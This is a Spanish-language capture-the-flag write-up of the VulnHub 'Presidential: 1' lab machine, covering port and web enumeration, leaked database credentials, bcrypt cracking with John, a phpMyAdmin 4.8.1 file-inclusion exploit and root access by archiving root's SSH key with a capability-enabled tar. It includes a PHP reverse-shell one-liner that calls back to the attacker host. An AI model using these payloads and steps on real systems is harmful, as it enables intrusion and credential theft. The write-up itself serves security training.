Laboratorio Presidential 1
...

Nos dirigimos a Presidential: 1, descargamos el ova, y para instalarlo puedes seguir el ejemplo que se ve en Instalar Máquina Vulhub en VirtualBox donde se instala otra máquina de vulhub pero son los mismos pasos.

Enumeración y Reconocimiento
...

arp-scan y ping
...

sudo arp-scan -I ens33 --localnet --ignoredups
[sudo] password for luis: 
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	4c:6e:6e:5f:8c:e2	Comnect Technology CO.,LTD
192.168.1.102	e4:aa:ea:ca:19:1d	Liteon Technology Corporation
192.168.1.106	08:00:27:5c:ca:bf	PCS Systemtechnik GmbH
192.168.1.250	44:22:7c:c3:ee:22	(Unknown)
192.168.1.103	80:6d:71:b9:f2:af	(Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.115 seconds (121.04 hosts/sec). 5 responded

La IP correspondiente a nuestra máquina víctima en mi caso es la 192.168.1.106 por lo que en esta ip vamos a trabajar, confirmamos comunicación haciendo ping a esta ip.

ping -c 1 192.168.1.106
PING 192.168.1.106 (192.168.1.106) 56(84) bytes of data.
64 bytes from 192.168.1.106: icmp_seq=1 ttl=64 time=5.93 ms

--- 192.168.1.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.931/5.931/5.931/0.000 ms

nmap
...

Analizamos los puertos abiertos en esta máquina

❯ nmap -p- --open -sS --min-rate 5000 -n -Pn 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:24 CET
Nmap scan report for 192.168.1.106
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
2082/tcp open  infowave
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds

Los puertos abiertos son el puerto: 80 y 22, vamos analizar los servicios que están mediante un conjunto de scripts con el parámetro -sC y averiguaremos las versiones de los mismos -sV.

❯ nmap -sCV -p80,2082 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:29 CET
Nmap scan report for votenow.local (192.168.1.106)
Host is up (0.0027s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.5.38
|_http-title: Ontario Election Services » Vote Now!
2082/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 0640f4e58cad1ae686dea575d0a2ac80 (RSA)
|   256 e9e63a838e94f298dd3e70fbb9a3e399 (ECDSA)
|_  256 66a8a19fdbd5ec4c0a9c4d53156c436c (ED25519)
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds

Vemos que el puerto 80 esta Apache y vemos que la máquina es una CentOS, no hay otra información importante, de ahí el puerto 2082 corresponde al servicio ssh y vemos que la versión del OpenSSH es menor a la 7.7 por lo que puede ser vulnerable a user enumeration.

Lanzamos un script de nmpa para enumerar el servicio http para ver si encontramos algún directorio que nos pueda interesar.

❯ nmap --script http-enum 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:37 CET
Nmap scan report for votenow.local (192.168.1.106)
Host is up (0.0013s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.64 seconds

Y no encontramos nada por lo que vamos a proceder hacer un fuzzing de directorios y de subdominios.

Port 80: HTTP
...

Pasted image 20231204193901.png

Vemos arriba en el correo el dominio de la página por lo que vamos a editar el /etc/hosts añadiendo ese dominio.

Pasted image 20231204194142.png

Realizaremos fuzzing para averiguar los directorios que puedan estar expuestos y que nos pueda llegar a interesar.

❯ gobuster dir -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://votenow.local
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 403) [Size: 210]
/icons/               (Status: 200) [Size: 74409]
/assets/              (Status: 200) [Size: 1505]
Progress: 4717 / 1273834 (0.37%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 5227 / 1273834 (0.41%)
===============================================================
Finished
===============================================================

Podemos ver que el directorio más interesante es el cgi-bin, mismo que podemos también fuzzear para encontrar archivos sh, cgi, para ver si se puede explotar un shellshock pero adelanto que no hay nada.

Procedemos entonces ahora a buscar por extenciones en la misma página para observar alguna importante como sabemos que el servicio es Apache y que corre php, vamos a buscar las extensiones php, php.bak.

❯ gobuster dir -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,php.bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://votenow.local
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,php.bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 236] [--> http://votenow.local/assets/]
/config.php           (Status: 200) [Size: 0]
/config.php.bak       (Status: 200) [Size: 107]
Progress: 8064 / 661683 (1.22%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 8761 / 661683 (1.32%)
===============================================================
Finished
===============================================================

Vemos dos archivos interesantes pero el que la página no va a procesar es el de config.php.bak por lo que vamosa revisar el códgio fuente de este directorio y vemos lo siguiente.

Pasted image 20231204200758.png

Tenemos credenciales de base de datos para el usuario votebox por lo procedemos a guardarlas en un archivo para en caso de necesitarlas tenerlas a mano.

Continuemos con el fuzzing, por lo que vamos ahora a hacer un discovery de subdominios, así mismo con gobuster y encontramos el siguiente dominio:

❯ gobuster vhost -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --append-domain -t 50 --no-error | grep -v "400"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://votenow.local
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: datasafe.votenow.local Status: 200 [Size: 9500]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

Vemos que existe un datasafe.votenow.local, por lo que la añadimos al /etc/hosts y revisamos la página que esté cargada.

Pasted image 20231204201729.png

Pasted image 20231204201756.png

Nos encontramos ante una página phpMyAdmin, por lo que podemos probar las credenciales que hemos obtenido del config.php.bak, y esperar sean válidad.

Pasted image 20231204201910.png

Pasted image 20231204201925.png

Enumeramos la base de datos votebox.
...

Vamos a enumera las tablas de la base de datos votebox.

Pasted image 20231204210502.png

Procedemos a entrar a la tabla users:

Pasted image 20231204210535.png

Tenemos otras credenciales el usuario admin:d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i, este hash podemos desencriptar usando JohnTheRipper, va a tomar su tiempo hasta que lo encuentre pero como vemos a continuación la obtiene sin problema:

❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Stella           (?)
1g 0:00:29:02 DONE (2023-12-04 21:31) 0.000573g/s 28.72p/s 28.72c/s 28.72C/s airsoft..Loveyou
Use the "--show" option to display all of the cracked passwords reliably
❯ john --show hash
?:Stella

1 password hash cracked, 0 left

Por lo que vamos a guardar estas credenciales (admin:Stella) en caso de que nos sirva más adelante.

RCE: Shell as apache
...

Entramos sin problemas por lo que vamos a revisar la versión del phpMyAdmin que es la 4.8.1 y buscamos si existe algún exploit, usando searchsploit.

searchsploit phpMyAdmin 4.8.1

Pasted image 20231204202230.png

Tenemos un script de ejecución de comandos, vamos a descargarnoslo y procedemos a leer lo que hace para ver donde se ejecuta el RCE.

searchsploit -m php/webapps/50457.py

Le cambiamos el nombre para que sea más descriptivo:

mv 50457.py rce_phpMyAdmin.php

Pasted image 20231204202547.png

Vemos que en el script se aprovecha de un path traversal pero hay un error en la carpeta no es sessions sino session, como lo vamos a ver a continuación:

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_<cookie_de_session>
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_9ric2ksh38um8ve8kcispjb55ni14apl

Pasted image 20231204204935.png

Vemos esta información, podemos probar hacer un select en otra pestaña y ver que pasa

Pasted image 20231204210028.png

Pasted image 20231204210051.png

Tenemos una potencial manera de inyectar código y proceder a obtener una bash:

  1. Nos dirigimos a SQL, para escribir una sentencia select.
  2. En la sentencia select vamos a introducir código php con el one liner para pedir una reverse shell en el puerto 443, select '<?php system("bash -i >& /dev/tcp/192.168.1.140/443 ");?>'
  3. Hacemos click en Go.

Pasted image 20231204212043.png

  1. Nos ponemos en escucha por el puerto 443 en nuestra máquina de atacante.
nc -nvlp 443
  1. Nos dirigimos a la página donde observamos el path traversal y si la teniamos en otra ventana procedemos a actualizar.
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_nnt9tsbsk5ajcps7rlouelb48sqj2rdd

Pasted image 20231204212534.png

Se quedará cargando y eso significa que obtenemos nuestra bash:

Pasted image 20231204212616.png

Hacemos un Tratamiento de la TTY y procedemos a probar el usuario admin que hemos obtenido las credenciales con john.

Shell as admin
...

Nos cambiamos de usuario conociendo que Stella es el password de admin, y verificamos si las credenciales son válidas.

Pasted image 20231204212837.png

Y tenemos shell como admin.

Escalada de privilegios: Shell as root
...

Vamos a escalar de privilegios:

  • Buscamos binarios que tengan permisos SUID, el unico interesante es pkexec pero la ejecución debe ser mediante sudo y no tenemos la contraseña.

Pasted image 20231204213354.png

  • Revisamos que comandos podemos ejecutar como super user usando sudo -l, pero tampoco podemos hacer nada en este sentido.

Pasted image 20231204213503.png

  • Vemos si formamos parte de algún grupo que podamos aprovechar sus privilegios, pero tampoco por lo que nos queda revisar las capabilities.

Pasted image 20231204213609.png

  • Listamos que binarios tienen capabilities que nos pueda interesar.

Pasted image 20231204213734.png

Vemos que usando tarS que parece que es tar por lo que podremos hacer lo siguiente, a conocimiento de que está expuesto el servicio ssh podremos obtener un comprimido de la clave privada de root.

 /usr/bin/tarS -cvf id_rsa.tar /root/.ssh/id_rsa

Pasted image 20231204215927.png

Descomprimimos el id_rsa.tar que creamos, y tenemos la carpeta root, nos dirigimos a .ssh y nos encontraremos la llave privada de root.

[admin@votenow tmp]$ /usr/bin/tarS -xvf id_rsa.tar
root/.ssh/id_rsa

Pasted image 20231204220126.png

Obteniendo la clave privada confirmamos que tiene permisos 600 y procedemos a conectarnos con ssh por el puerto 2082 que observamos que tenía expuesto.

Pasted image 20231204220219.png

ssh -i id_rsa root@localhost -p 2082

Pasted image 20231204220309.png